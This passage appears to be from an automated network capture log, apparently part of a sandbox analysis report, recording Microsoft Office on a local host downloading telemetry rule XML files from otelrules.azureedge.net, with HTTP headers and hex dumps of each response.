2024-11-20 20:05:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57f4d0d3-201e-0033-0b7c-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200553Z-1777c6cb754j47wfhC1TEB5wrw00000005x000000000e06q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-r1d97b99577lxltfhC1TEByw2s00000009b000000000f2kz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-1777c6cb754mqztshC1TEB4mkc0000000a2g00000000hu20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-185f5d8b95cgrrn8hC1NYCgwh40000000ak000000000pzzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:55 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-178bfbc474bnwsh4hC1NYC2ubs00000000cg000000005utk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-r1d97b99577sdxndhC1TEBec5n00000009f000000000b4tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-1777c6cb754lv4cqhC1TEB13us0000000a2000000000c6r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:57 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:57 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200557Z-178bfbc474bkvpdnhC1NYCuu2w00000000h000000000335g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:57 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:57 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200557Z-1777c6cb754gvvgfhC1TEBz4rg0000000a1000000000tu7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:57 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:57 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:57 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200557Z-1777c6cb754rz2pghC1TEBghen00000009x000000000m6q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:57 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:58 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200558Z-178bfbc474bmqmgjhC1NYCy16c00000000m0000000005yq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:58 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
